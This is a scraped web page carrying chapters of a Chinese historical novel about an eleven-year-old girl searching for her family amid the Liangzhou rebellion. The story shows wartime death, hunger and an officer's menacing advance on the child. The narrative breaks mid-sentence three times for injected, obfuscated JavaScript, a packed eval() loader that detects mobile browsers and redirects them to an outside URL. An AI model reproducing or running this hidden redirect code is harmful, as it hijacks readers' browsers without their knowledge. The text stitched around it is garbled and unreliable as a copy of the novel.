l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530064|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“军爷息怒,这丫头不懂事。阿宝,快去斟酒!” 我战战兢兢地上前,为那军官斟酒。他的手却突然松开惠娘,转向我:“这个更嫩些!来,小妹妹,告诉爷多大了?” 粗糙的手掌摸上我的脸颊,我吓得浑身僵硬。 “十一...”我颤声回答。 军官哈哈大笑:“正好!正好!”说着就要拉我入座。 就在这千钧一发之际,门外突然传来通报声:“韩将军到!” 所有军官立刻起身整理衣冠,方才的轻浮荡然无存。一个四十上下、面容冷峻的将军大步走进来,目光如电扫过全场。 “都在这里做什么?”他声音不高,却带着不容置疑的威严。 方才调戏我的军官连忙赔笑:“将军来得正好,兄弟们正为您庆功呢!” 韩遂的目光落在我和惠娘身上,眉头微皱:“哪里来的丫头?” 赵媪赶紧回答:“是浣衣处的奴婢,叫来伺候酒水。” 韩遂摆摆手:“让她们下去。成何体统!” 如蒙大赦,我和惠娘急忙退下。回到后院,两人都是浑身冷汗,后怕不已。 “幸好韩将军来了...”惠娘颤声道,“否则...” 我点点头,心中却另有所思。韩遂...这个名字好生耳熟。忽然想起,那日难民营中李媪提起过,他是叛军首领之一。 一个大胆的念头在我心中萌生。 几日后,我趁着送洗净衣物去前院的机会,偷偷留意韩遂的动向。发现他每日未时会独自在书房处理军务,门外只有两个守卫。 机会来了。 我找来一片较为平整的木牍,用烧黑的树枝在上面工工整整地写下: “民女冯阿宝,年十一,陇西冯家村人。父母兄长于城破日失散。母赵氏,右目有伤;父冯安,任郡中书佐;兄冯栋,年十五。恳请将军施恩,帮忙寻找。愿做牛马报答。” 写完后,我将木牍藏在怀中,等待时机。 未时一到,我端着一盆清水,假意要擦拭走廊,慢慢靠近书房。 守卫拦住我:“做什么?” 我低头道:“赵媪命我来擦拭廊柱。” 守卫打量我一番,挥挥手:“快些干完离开。” 我假装擦拭廊柱,慢慢挪到书房窗外。透过窗缝,可见韩遂正在批阅文书。 心怦怦直跳,我深吸一口气,猛地推开房门跪倒在地:“将军开恩!” 韩遂显然吃了一惊,待看清是我,眉头皱起:“是你?何事?” 我双手举起木牍:“求将军帮民女寻找家人!愿做牛马报答!” 守卫冲进来要拖我走,韩遂却抬手制止。他接过木牍看了看,目光重新落在我身上:“你识字?” 我点头:“家父教的。” 韩遂沉吟片刻:“如今战事紧张,无人暇帮你寻亲。” 我的心沉了下去。 “不过...”他话锋一转,“我书房正缺个整理文书的小婢。你若愿意,可调来此处。他日若有你家人消息,也好及时告知。” 峰回路转,我急忙磕头:“愿意!民女愿意!” 于是我从浣衣处调到了书房,负责整理文书、研磨沏茶等轻省活计。虽然仍是奴婢,但环境好了许多,还能偶尔读到一些军报文书。 我格外勤快,将书房整理得井井有条。韩遂似乎颇为满意,偶尔会问我几句家中情况。 但我始终没有等到家人的消息。战事越发吃紧,军中气氛日益凝重。有时深夜,我能听到韩遂在房中踱步,长吁短叹。 一日,我整理文书时,偶然看到一份阵亡名单。心中一惊,急忙翻阅,生怕看到熟悉的名字。 幸好没有。但我却看到了另一个消息:王允越狱逃走了,如今下落不明。 我暗暗为他高兴。至少,他不必冤死狱中。 时间流逝,转眼秋深。凉州的秋天来得早,寒风吹彻骨缝。 我的生辰早已过去,那三块糖糕更加干硬,但我仍舍不得吃。这是与家人最后的联系,是茫茫黑暗中的一点微光。 每夜,我仍会对着糖糕说话,告诉亲人我一天的所见所闻。仿佛这样,他们就还在我身边,从未远离。 秋风起,那个草黄了,门口霜雪要来到。而我的归途,依然渺茫。 唯有那首童谣,穿越血与火,在心中久久回响: “月亮照不到啊我的小阿宝... 忘也忘不了啊,我滴小阿宝...” 7. 惠娘 韩遂的书房成了我暂时的避风港。 比起浣衣处的苦役,这里的活计轻省许多——整理文书、研磨沏茶、擦拭书架。最重要的是,这里温暖安静,偶尔还能读到一些书籍。韩遂似乎默许我翻阅那些非机密的竹简和帛书,或许在他眼中,一个十一岁的女娃根本看不懂军国大事。 但我确实在看。不仅看,还努力记下那些地名、人名、事件。冀城、陈仓、美阳...皇甫嵩、张温、董卓...这些名字在我脑中逐渐串联起来,勾勒出凉州战事的轮廓。 最让我在意的是冀城。那里是汉阳郡治所,叛军与官军反复争夺的要地。梦中阿母似乎提到过这个地方,让我无法不在意。 一日,韩遂与部将议事时,我正跪坐在屏风后添茶,听到他们谈及冀城战况。 “...城中粮尽,守军以树皮草根为食...”一个部将道。 “...听说已经开始人相食了...”另一个声音接话。 我手中的茶壶险些跌落,热水溅到手背,烫得发红,却不及心中疼痛万分之一。 人相食...阿母、阿父、阿兄若在城中... 不敢再想下去。 议事结束后,我收拾茶具时,韩遂突然叫住我:“你似乎对冀城很关心?” 我吓了一跳,连忙低头:“奴婢不敢...” 韩遂摆摆手:“无妨。你家人可能在那里?” 我犹豫片刻,轻轻点头。 韩遂长叹一声:“冀城...如今是人间地狱。你若真心盼家人平安,不如祈祷他们不在城中。” 他的话如冰水浇头,让我浑身发冷。 那夜,我又做了噩梦。梦见冀城中饿殍遍野,人们如行尸走肉。阿母瘦得皮包骨头,瞎了的右眼窝深陷,正与野狗争抢一具尸体... 我惊叫着醒来,浑身冷汗。同屋的惠娘被惊醒,点亮油灯关切地问:“怎么了?又做噩梦了?” 我点点头,哽咽难言。惠娘轻拍我的背,哼起那首熟悉的歌谣:“爹娘找不到啊,我的小阿宝...” 在她的歌声中,我渐渐平静下来。 “惠娘姐姐,你的家人...有消息吗?”我问。 惠娘摇摇头,眼神黯淡:“战乱一起就失散了。阿母体弱,不知能否熬过这个冬天...”她顿了顿,“有时我想,或许他们早已...” “不会的!”我急忙打断她,“一定会重逢的!就像...”我忽然想起什么,“就像李媪,她也在找女儿,找了十年都没放弃!” 惠娘猛地抓住我的手:“李媪?哪个李媪?” 我被她的反应吓了一跳:“就是在难军营认识的一位老媪,姓李,夫家姓王。她说女儿十年前走散了,名叫惠娘...” 惠娘的手开始发抖,声音发颤:“她...她什么模样?” 我努力回忆:“大约六十上下,头发花白,左边眉梢有颗痣...对了,她缝补时总喜欢哼歌谣,和你哼的调子很像...” 惠娘的脸色瞬间苍白如纸,眼泪夺眶而出:“是...是阿母...她还活着!她在哪里?” 这下轮到我震惊了:“难道你...你就是李媪的女儿?” 惠娘泣不成声,只是拼命点头。我从她断断续续的叙述中,终于拼凑出完整的故事。 十年前,羌乱爆发,当时八岁的惠娘与父母逃难时被人群冲散。她被人贩子拐走,卖到陇西郡一户织匠家为婢。织匠夫妇无子,待她尚可,还教她织布手艺。原以为此生再难见亲生父母,没想到... “阿母...阿母她过得好吗?”惠娘急切地问。 我不知该如何回答。想起李媪憔悴的面容,中箭身亡的惨状,喉头如同堵了棉花。 “她...”我艰难地开口,“她一直在找你...每天都会哼那首歌谣...” 我没有说出李媪已死的真相。在这乱世中,希望比真相更珍贵。就让惠娘抱着母亲尚在人间的期盼,活下去吧。 惠娘又哭又笑,紧紧抱着我:“谢谢您,阿宝!谢谢您告诉我这个消息!等战事平息,我就去找阿母!” 我回抱她,心中五味杂陈。 自那日后,惠娘仿佛变了个人。眼中有了光彩,干活时常常哼着小曲,有时还会拉着我问更多关于李媪的细节。 我尽量编织善意的谎言,告诉她李媪在难民营如何帮助他人,如何坚强地活着。每说一句,心中就多一分愧疚。 “等找到阿母,我要接她来同住。”惠娘憧憬着,“我织布,她帮忙理线,就像小时候一样...” 看着她幸福的模样,我实在不忍心打破这场幻梦。 日子一天天过去,凉州的冬天来临了。寒风凛冽,雪花纷飞,书房外银装素裹。 韩遂的眉头越皱越紧。从断断续续的议事中,我得知官军节节胜利,叛军内部也产生了分歧。 “北宫伯玉欲西退湟中...” “李文侯主张死守...” “边章病重,恐不久于人世...” 这些消息让我心中暗喜。叛军内乱,或许意味着战事即将结束?或许我能早日寻找家人? 一日,我整理文书时,意外发现一份名册——是上月冀城突围时被俘的人员名单。 心怦怦直跳,我急切地翻阅竹简,寻找熟悉的名字。 冯安...没有。赵氏...没有。冯栋...没有。 正当我失望之际,一个名字跳入眼帘:冯季。 冯季是我阿父的堂弟,在狄道做小生意。难道他也在冀城? 我继续翻阅,忽然手指一顿——名册末尾有个“冯氏”,右注“目伤”。 目伤!难道是阿母? 我急忙细看,但记载十分简略:冯氏,约三十余,右目盲,汉阳口音,现押于伤兵营。 伤兵营!王允说过,伤兵营比俘虏营好得多! 激动得手发抖,我恨不得立刻冲去伤兵营确认。但我知道,没有韩遂的允许,我根本出不了这个院子。 接下来的几日,我度日如年。每次韩遂来书房,我都想开口请求,但看他阴沉的面色,又不敢打扰。 终于,在一个雪后初晴的早晨,我鼓起勇气,跪在韩遂面前:“将军,奴婢听说伤兵营有个右目受伤的冯氏,可能是奴婢的母亲...求将军开恩,容奴婢前去探望!” 韩遂从文书中抬起头,目光锐利:“你听谁说的?” 我低下头:“整理名册时偶然看到...” 他沉默片刻,道:“如今战事吃紧,伤兵营戒备森严,不是你该去的地方。” 我的心沉了下去。 “不过...”韩遂话锋一转,“明日我要巡视伤兵营,你可随行。若真是你母亲,或许可破例让你们相见。” 峰回路转,我急忙磕头谢恩。 那一夜,我彻夜未眠。既期待又害怕——期待可能是阿母,害怕希望落空,或者更糟,看到阿母重伤不治。 次日清晨,我换上最整洁的衣裳,揣着那三块糖糕,随韩遂出发。 伤兵营设在城东一处旧军营,戒备森严。还未进门,就闻到浓重的血腥和腐臭气味,听到阵阵呻吟声。 韩遂皱眉,对迎上来的医官道:“怎么这般气味?” 医官苦笑:“伤员太多,药物短缺,许多伤口溃烂...实在是...” 韩遂摆摆手,示意我跟上。 营内景象令人触目惊心。伤兵们密密麻麻躺在地上,有的缺胳膊少腿,有的浑身绷带渗血,有的昏迷不醒,喃喃呓语。 我紧紧跟着韩遂,眼睛急切地搜寻着那个右目受伤的冯氏。 “右目受伤的都在这边。”医官引我们到一处角落。 这里躺着十几个眼部受伤的伤员,有男有女。我一个个看过去,心跳如鼓。 不是...不是...这个太年轻...这个是个老汉... 终于,在最角落里,我看到一个侧躺的妇人。她右眼缠着肮脏的布条,左眼紧闭,面色灰白。 我屏住呼吸,慢慢走近。是她吗?看起来比阿母苍老许多... 就在这时,妇人仿佛感觉到什么,缓缓睁开左眼。 时间在那一刻静止。 不是阿母。 失望如潮水般涌来,我几乎站立不稳。 那妇人茫然地看着我,左眼浑浊无神。她张了张嘴,发出微弱的声音:“水...” 我急忙取出随身带的水囊,小心地喂她喝水。 妇人贪婪地喝着,呛咳起来。我轻拍她的背,忽然注意到她左手腕上有个熟悉的印记——一个梅花状的胎记。 记忆如闪电般划过脑海。这不是阿母,但我是认得她的! “李婶?”我脱口而出。 妇人猛地睁大眼睛,死死盯着我:“你是...阿宝?” 果然是李婶!那个在难民营外相遇,告诉我阿母眼睛受伤的李婶! “是我!冯阿宝!”我激动地握住她的手,“您怎么在这里?您的孩子呢?” 李婶的独眼中流出泪水:“死了...都死了...小儿子病死了...大儿子被征去当兵...听说也战死了...”她哽咽着,“我这眼睛...是在冀城被流矢射中的...” 冀城!她果然去过冀城! “那您见过我阿母吗?”我急切地问,“右眼受伤的赵氏?还有我阿父冯安,阿兄冯栋?” 李婶的眼神恍惚起来:“冀城...地狱啊...人吃人...狗吃人...我看不清...好多血...” 她似乎神志不清,语无伦次。我心急如焚,却不敢催促。 韩遂走过来:“问出什么了?” 我摇摇头,眼泪不争气地流下来:“她神志不清...” 韩遂看了看李婶的状况,对医官道:“好好照料。”便转身欲走。 我急忙跟上,却听李婶突然清晰地说了一句:“冯书佐...好像去了陈仓...” 我猛地回头:“您说什么?我阿父去了陈仓?” 但李婶又陷入混沌状态,喃喃着听不懂的话。 陈仓!那是扶风郡的要地,听说官军主力正在那里与叛军对峙! 走出伤兵营,我心中五味杂陈。虽然没找到阿母,但至少有了阿父的消息!他可能还活着,可能在陈仓! 回程路上,我鼓起勇气问韩遂:“将军,陈仓...战事如何?” 韩遂瞥了我一眼:“你想去陈仓寻父?” 我低下头:“奴婢不敢...” 韩遂望着远处雪山,良久才道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530065|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“陈仓如今是绞肉场,尸骨堆成山。即便你父亲真在那里,恐怕也...” 他的话没说完,但意思再明白不过。 希望如泡沫般破灭,但我仍不死心。只要有一线可能,我就要去找寻。 几日后的一个深夜,我被急促的脚步声惊醒。院中人声嘈杂,火把通明。 “官军夜袭!全员戒备!”呼喊声此起彼伏。 惠娘吓得瑟瑟发抖,紧紧抓住我的手:“怎么办?会不会...” 我捂住她的嘴,示意噤声。透过窗缝,可见外面兵荒马乱,人影幢幢。 突然,书房方向传来巨响,像是门窗被撞破。接着是兵刃相交声、呐喊声、惨叫声。 “韩遂叛贼!纳命来!”一个粗犷的声音吼道。 是官军!他们攻进来了! 混乱中,我和惠娘缩在墙角,不敢出声。打斗声持续了约莫一炷香时间,渐渐平息。 天亮时分,院门被撞开,一队官兵冲进来:“所有人出来!双手抱头!” 我们被驱赶到院中跪着。一个军官模样的人扫视我们:“谁是韩遂家眷?” 无人应答。 军官冷笑:“不说?全部带走!” 我们被押解着走出院子。街道上满是官兵,正在清剿残余叛军。路旁跪着一排排俘虏,个个面如死灰。 经过伤兵营时,我心中一动——李婶还在里面!还有那些伤员! 但官兵根本不理会,推搡着我们继续前行。 突然,我在一群俘虏中看到一个熟悉的身影——是那个曾经调戏我的军官!他浑身是血,被绑得结结实实,看到官兵过来,破口大骂:“皇甫老贼!不得好死!” 押解我们的军官上前就是一鞭子:“闭嘴!败军之将还敢嚣张!” 那军官吐出口中血水,狂笑:“韩将军已突围而去!他日必卷土重来!” 他的话引来更多鞭打。我看着这一幕,心中复杂。虽然憎恶他曾经的轻薄,但此刻竟有些佩服他的硬气。 我们被关进一处临时牢狱,比之前的仓廪更加拥挤。惠娘紧紧挨着我,低声啜泣:“怎么办...我们会不会被当作叛党处决...” 我握住她的手,强作镇定:“不会的。我们只是奴婢,官府会查清的。” 但心中实则忐忑不安。乱世之中,宁错杀不放过是常事。 牢狱日子难熬。每日只有一碗稀粥,寒冷刺骨,呻吟声不绝于耳。许多人病倒了,被拖出去后就再没回来。 第三日,狱卒来提人:“冯阿宝!出来!” 惠娘死死抓住我:“别去!” 我拍拍她的手,跟着狱卒走出牢房。心中已然做好最坏打算。 但出乎意料,我被带到一个相对干净的房间,一个文官模样的人坐在案后。 “冯阿宝?”他翻看着竹简,“陇西冯家村人,父冯安曾任郡中书佐?” 我急忙点头:“是!大人认识我阿父?” 文官不答,继续问:“你如何落到韩遂军中?” 我将经历简要道来,隐去了王允的部分,只说与家人失散后被俘为奴。 文官记录完毕,道:“查证属实后,或可放你归家。” 希望再次燃起:“谢大人!那...那其他人呢?” 文官面无表情:“叛军家眷,按律充官为奴。” 我的心沉了下去。惠娘她们... 回到牢房,惠娘急切地迎上来:“怎么样?” 我如实相告。惠娘眼中刚燃起的希望又熄灭了:“为奴...也好过处死...”她苦笑道,“至少还能活着等阿母...” 我紧紧抱住她,不知该如何安慰。 几日后,我真的被释放了。文官给了我一份文书和少许盘缠:“如今陇西初定,你可回乡。但路上不太平,好自为之。” 走出牢狱,重获自由,我却茫然无措。回乡?家乡早已物是人非。找家人?天地茫茫,从何找起? 突然想起李婶说的陈仓。对!去陈仓!找阿父! 下定决心,我买了些干粮,向人打听去陈仓的路。 “陈仓?”路人摇头,“小姑娘,那里正打仗呢!去不得!” 但我心意已决。无论如何,我都要去试一试。 临行前,我最后去了一趟伤兵营,想看看李婶是否安好。但伤兵营已被官军接管,根本不让我进去。 “走吧走吧!这里没有你要找的人!”守门兵士不耐烦地挥手。 无奈,我只好踏上前往陈仓的路。 走出陇西城门时,我回头望了望这座饱经战火的城市。在这里,我失去了李媪,找到了惠娘,得到了阿父的线索... 风渐起,吹动我的衣袂。前路漫漫,吉凶未卜。 我从怀中掏出那三块糖糕,已经干硬得不成样子。但我仍小心地包好,放回贴身处。 “阿母,阿父,阿兄...”我轻声说,“阿宝来找你们了。” 然后转身,向着东方,一步一步走去。 乱世茫茫,孤身寻亲。十一岁的阿宝,再次踏上未知的旅途。 唯有那首童谣,在心中回响不绝: “春俏俏呀秋萧萧,跑完一遭又一遭... 我的小纸鸢它不见了...” 8. 东行路 离开陇西郡城,我踏上了东去陈仓的路。 十一月的凉州,寒风如刀,刮在脸上生疼。我裹紧单薄的衣裳,将文官给的盘缠藏在贴身处,只留少许铜钱在袖袋里。 官道上来往行人稀少,偶尔有官兵骑马驰过,扬起漫天尘土。我谨记文官的叮嘱,遇到盘查就出示文书,声称回乡寻亲。大多数兵士见我只是个瘦弱女娃,便挥手放行。 第一日晚,我宿在一个荒废的驿站。屋顶漏风,墙壁斑驳,但总比露宿野外强。我蜷缩在角落,啃着干硬的饼子,听着窗外呼啸的风声。 “阿父,你在陈仓吗?”我对着虚空喃喃自语,“一定要等阿宝啊...” 第二日继续赶路。越往东走,景象越发荒凉。田地荒芜,村庄废弃,偶尔见到几个面黄肌瘦的流民,眼神麻木如行尸走肉。 晌午时分,我在一条小溪边歇脚,就着凉水吃饼。忽然听到远处传来哭喊声和马蹄声。 心中一惊,我急忙躲进灌木丛中。只见一队骑兵驰过,马上骑着几个凶神恶煞的汉子,不是官兵打扮,倒像是土匪。他们追赶着一家逃难的流民,很快将人围住。 “求好汉饶命!我们只有这些干粮了...”一个老汉跪地求饶。 土匪头子狞笑:“干粮我们要,小娘子我们也要!”说着就去拉扯老汉身后的少女。 我吓得浑身发抖,紧紧捂住嘴,不敢出声。眼看那少女就要遭殃,远处突然传来号角声。 “官兵来了!”土匪中有人惊呼。 土匪们顿时慌乱,扔下猎物策马奔逃。一队官兵很快赶到,为首的是个年轻将领,看到现场情形,立即分兵追击土匪。 一个军官下马扶起老汉:“老伯受惊了。这些是黄巾残孽,时常在这一带劫掠。” 老汉千恩万谢。军官又看了看躲在不远处的我:“那小娘子也是与你们一道的?” 我这才战战兢兢地走出来:“奴、奴婢是独自赶路,去陈仓寻亲。” 军官打量我一番:“小小年纪独自远行?可知这一路多危险?” 我低头不语。 军官叹口气,对老汉道:“我们正要押送粮草去陈仓,你们可随行。路上也有个照应。” 于是我与那家流民一同加入了官兵的队伍。老汉姓郑,带着儿媳和孙女逃难,儿子被征去当兵,生死未卜。 郑媪看我孤身一人,颇为怜惜:“可怜见的,这么小就独自寻亲。若不嫌弃,就与我们同行吧。” 我感激地点头。乱世之中,能有个伴总是好的。 官兵队伍行进缓慢,粮车笨重,每日只能走二三十里。但我却安心许多——有官兵保护,至少不必担心土匪流寇。 夜间扎营时,我常帮郑媪生火做饭。她孙女小娥才五岁,瘦得皮包骨头,总是偎在母亲怀里,大眼睛怯生生地望着四周。 “冬雪飘,那个柴门掩,灶火暖着旧襦袄...”一晚,郑媪低声哼起歌谣,哄小娥睡觉。 我心中一动——这调子与阿母唱的如此相似! “媪也会这歌谣?”我问。 郑媪笑了笑:“凉州妇人,哪个不会几句?我娘教的,我教给我女儿,如今又教给小娥。”她眼神黯淡下来,“只可惜...不知我女儿是否还活着...” 原来她儿媳并非小娥生母。小娥的生母在三年前的羌乱中失散了。 乱世之中,这样的故事似乎无处不在。 又行数日,渐渐接近陈仓地界。路上遇到的流民越来越多,个个面带饥色,步履蹒跚。 “陈仓还在打呢!”一个老翁告诉我们,“尸骨堆成山,渭水都染红了!” 郑媪吓得脸色发白:“那我们还去吗?” 军官苦笑:“我们是押粮的,不去就是死罪。你们若怕,可在此处分手,自行往南去汉中。那里相对太平些。” 郑家犹豫再三,最终决定南去汉中。临别时,郑媪塞给我两个饼子:“阿宝,保重。若寻亲不成,可来汉中西郑村找我们。” 我含泪谢过,目送他们南去。如今又剩我一人,随着官兵队伍继续东行。 越靠近陈仓,战场的痕迹越明显。路旁不时可见废弃的营垒、散落的箭矢、甚至还有未及掩埋的尸体。空气中弥漫着淡淡的血腥和腐臭。 我胃里翻搅,几乎呕吐。这些景象让我想起陇西城破时的惨状,想起李媪中箭身亡的模样。 “怕了?”年轻将领不知何时骑到我身边,“这才是边缘。陈仓城外,那才叫真正的地狱。” 我抬头看他。这位将领姓皇甫,据说是主帅皇甫嵩的远亲,年纪轻轻却已身经百战。 “将军不怕吗?”我问。 皇甫将军笑了笑:“怕,怎么不怕。但保家卫国,怕也得上前。”他望向远方,“只愿早日平定叛乱,让百姓安居乐业。” 我沉默片刻,鼓起勇气问:“将军可曾听说过一个叫冯安的人?原是陇西郡的书佐,可能在新军中?” 皇甫将军摇头:“新军人数众多,除非是军官,否则难有记载。”见我失望,他又补充道,“不过到了大营,我可帮你打听打听。” 一线希望再燃,我连连道谢。 又行一日,终于抵达官军大营。营寨连绵数里,旌旗招展,号角声声。士兵们盔明甲亮,与叛军的乌合之众形成鲜明对比。 但我注意到,许多士兵面带倦容,有的还带着伤。医疗营帐外排着长队,呻吟声不绝于耳。 皇甫将军安排我在炊事营帮忙:“这里相对安全,也可挣口饭吃。我打听消息后便来找你。” 于是我成了炊事营的小帮工,每日洗菜烧火,分发食物。炊事营的管事是个姓周的老兵,瘸了一条腿,但为人和气。 “小姑娘怎么跑到这前线来了?”周管事问我。 我如实相告。周管事叹口气:“寻亲啊...这年头,十寻九空。但愿你能如愿。” 炊事营的工作繁重,但至少温饱不愁。我每日拼命干活,希望讨好周管事,好多打听消息。 但数日过去,皇甫将军始终没有音讯。我按捺不住,趁送饭的机会打听他的消息。 “皇甫小将军?”一个伤兵苦笑,“前日冲锋时中了流矢,重伤不起呢!” 如遭雷击,我手中的食盒险些落地。唯一的希望又破灭了。 失魂落魄地回到炊事营,周管事看出端倪,问清缘由后道:“你也别太失望。新军名册在书记处应该有存档,只是如今战事吃紧,没人有空帮你查。” 一线希望再次燃起:“书记处在哪里?我能自己去吗?” 周管事摇头:“戒备森严,闲人免进。除非...”他想了想,“除非你接替书记处的杂役活。原来的杂役前日病倒了,正缺人手。” 天赐良机!我急忙恳求周管事帮忙。他沉吟片刻,终于点头:“我正好与书记官有旧,可帮你说项。但成与不成,看你自己造化了。” 次日,周管事果然带我去了书记处。那是一个巨大的营帐,里面堆满了竹简帛书,几个书记官正在忙碌。 “老周!什么风把你吹来了?”一个中年文士迎上来。 周管事拍拍我的肩:“这小丫头识字,手脚麻利。听说你们缺杂役,带来试试。” 文士打量我一番:“多大?哪来的?” 我一一回答,并强调自己识字会写。文士颇感兴趣,当场考了我几个字,我都工整写出。 “倒是块材料。”文士点头,“正好,这些名册需要抄录备份,你帮忙整理竹简,研磨递纸吧。” 于是我留在了书记处。工作比炊事营更辛苦,每日要工作到深夜,但这是我接近名册的唯一机会。 我格外勤快,不仅完成份内工作,还主动帮忙整理档案。书记官们颇为满意,渐渐让我接触更多文书。 但我始终没有找到新军名册。书记处文书浩如烟海,且分类混乱,寻找特定名册如同大海捞针。 一日,我听到书记官们议论战事。 “...叛军粮草将尽,不日必溃...” “...韩遂马腾已生隙,或可分化...” “...美阳大捷,斩首万余...” 美阳?那不是陇西东面的要地吗?难道战事即将结束? 果然,几日后,营中气氛大变。士兵们欢呼雀跃,听说叛军已经开始撤退。 书记处更加忙碌,要统计战果,记录功过,整理档案。我趁乱悄悄寻找新军名册,终于在一个角落发现了几大箱新军档案。 心怦怦直跳,我迫不及待地翻阅起来。竹简沉重,字迹潦草,但我看得无比仔细。 一个时辰过去,两个时辰过去...眼看天色渐暗,我仍未找到阿父的名字。绝望渐渐涌上心头。 就在准备放弃时,我的目光突然定格在一个名字上:冯安。 是他!真的是阿父!名册记载:冯安,陇西人,原郡中书佐,建宁四年征入新军,任书记官,现属左军第三营! 左军第三营!我激动得手发抖,几乎拿不住竹简。 但接下来的一行字让我的心沉入谷底:美阳之战失踪,疑阵亡。 失踪...疑阵亡... 不!不可能!阿父一定还活着! 我疯了一般继续翻阅,寻找更多线索。终于,在一份伤亡补充名单中,又看到了阿父的名字:冯安,左军第三营书记官,美阳之战负伤,送渭南伤兵营救治。 渭南伤兵营!他还活着! 我恨不得立刻飞往渭南。但此时已近宵禁,根本无法离开书记处。 那一夜,我彻夜未眠。脑中只有一个念头:去渭南!找阿父! 天刚蒙蒙亮,我就向书记官请假,声称身体不适。书记官见我一夜未睡脸色苍白,信以为真,准我休息一日。 我急忙回到炊事营,向周管事说明情况,求他帮忙。 周管事沉吟道:“渭南在东南方向,距此百余里。如今战事未歇,路上不太平啊。” 我跪地恳求:“求管事成全!我父可能重伤在身,急需照料!” 周管事终于心软:“罢了。正好有队粮车要去渭南,我可安排你随行。但能否找到父亲,看你自己造化了。” 我千恩万谢,简单收拾行装,揣上那三块糖糕——终于能和阿父分享了! 粮车队当日午后出发。押运的军官听说我的事,颇为同情,允我坐在粮车上。 越往东南,战场痕迹越明显。路旁随处可见丢弃的兵甲、战死的马匹、甚至还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530066|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未掩埋的尸体。空气中弥漫着浓重的血腥和腐臭。 押运士兵面色凝重,加快行进速度。每个人都想尽快离开这片死亡之地。 次日黄昏,我们终于抵达渭南。这里的伤兵营比陇西的更加庞大,也更加拥挤。呻吟声、哭喊声、医官的吆喝声混杂在一起,令人心悸。 我跳下粮车,迫不及待地冲进营区。但很快被守卫拦住:“干什么的?” “我找父亲!冯安!左军第三营书记官!”我急切地说。 守卫摇头:“营内伤员数千,怎么找?明日再来登记查询!” 我哪里等得及,趁守卫不注意,溜进营区。里面景象触目惊心——伤员密密麻麻躺在地上,有的缺胳膊少腿,有的浑身绷带渗血,有的昏迷不醒。 我一个个寻找,呼唤着阿父的名字。但回应我的只有痛苦的呻吟。 天色渐暗,营内点燃火把。我在昏暗的光线下艰难搜寻,心中越来越绝望。 突然,我听到一个微弱的声音:“阿...宝...” 我猛地转身,只见一个角落里,有个浑身绷带的人正努力抬起头。 虽然面容被绷带包裹大半,但我认得那双眼睛——是阿父!真的是阿父! “阿父!”我扑过去,泪水夺眶而出。 阿父艰难地伸出手,抚摸我的脸:“阿宝...真的是你...我不是在做梦...” 我紧紧握住他的手:“不是梦!阿宝找到阿父了!” 阿父的眼中流出泪水:“你还活着...太好了...阿母和阿兄呢?” 我心中一痛,摇摇头:“城破时走散了...我一直在找你们...” 阿父闭目长叹:“那日我回去找你们,却被乱兵冲散...后来被征入新军...美阳之战中箭倒地...还以为再也见不到你们了...” 我这才注意到阿父胸口的绷带还在渗血。急忙问:“阿父的伤...” “箭伤肺部...能活下来已是万幸...”阿父喘息着,“只是...可能熬不过这个冬天了...” “不会的!”我急忙从怀中掏出糖糕,“阿父你看!阿宝一直留着生辰糕!我们分着吃!吃完阿父就会好起来!” 阿父看着那干硬的糖糕,眼泪又涌了出来:“傻孩子...还留着...” 我小心地掰下一小块,喂给阿父。他艰难地咽下,露出微笑:“甜...真甜...” 我又喂他喝水,仔细查看他的伤势。箭伤确实严重,而且似乎已经开始溃烂。医药物资短缺,伤兵太多,阿父显然没有得到妥善治疗。 “阿父别怕,阿宝会照顾你。”我坚定地说,“一定会好起来的!” 那夜,我守在阿父身边,为他擦拭额头,喂水喂食。阿父时而清醒,时而昏迷,每次醒来都紧紧抓着我的手,仿佛怕我消失。 其他伤员羡慕地看着我们:“老冯好福气啊,女儿这么孝顺。” 阿父虚弱地笑:“是啊...我的阿宝...是最好的孩子...” 深夜,阿父突然清醒,异常精神:“阿宝,阿父可能时日无多了...有些话要交代...” 我泣不成声:“阿父别胡说...你会好起来的...” 阿父摇头,紧紧握着我的手:“听着...若找不到阿母和阿兄...你要好好活下去...去汉中...找郑家...他们...可靠...” 他喘息片刻,继续道:“我床下...第三块砖下...藏着些银钱...本来...是给阿兄娶亲用的...你取用...” 我拼命点头:“阿父别说了...省些力气...” 阿父望着帐顶,眼神恍惚:“还记得...你小时候...阿父教你认字...你总是...一学就会...” “记得...都记得...”我哽咽道,“阿父还给我买桃木梳...” 阿父微笑:“是啊...我的阿宝...最聪明了...” 他的声音渐渐低下去,眼神开始涣散。 我惊慌地呼唤:“阿父!别睡!看着阿宝!” 阿父努力聚焦目光,最后看了我一眼:“活下去...阿宝...” 然后他的手突然垂下,眼睛永远地闭上了。 “阿父!!!”我扑在他身上,嚎啕大哭。 周围的伤员纷纷叹息,有人偷偷抹泪。乱世之中,生死离别太过寻常。 我哭了不知多久,直到医官过来查看,摇摇头:“准备后事吧。” 我呆呆地坐着,看着阿父安详的面容,仿佛他只是睡着了。我小心地为他整理遗容,擦去脸上的污渍。 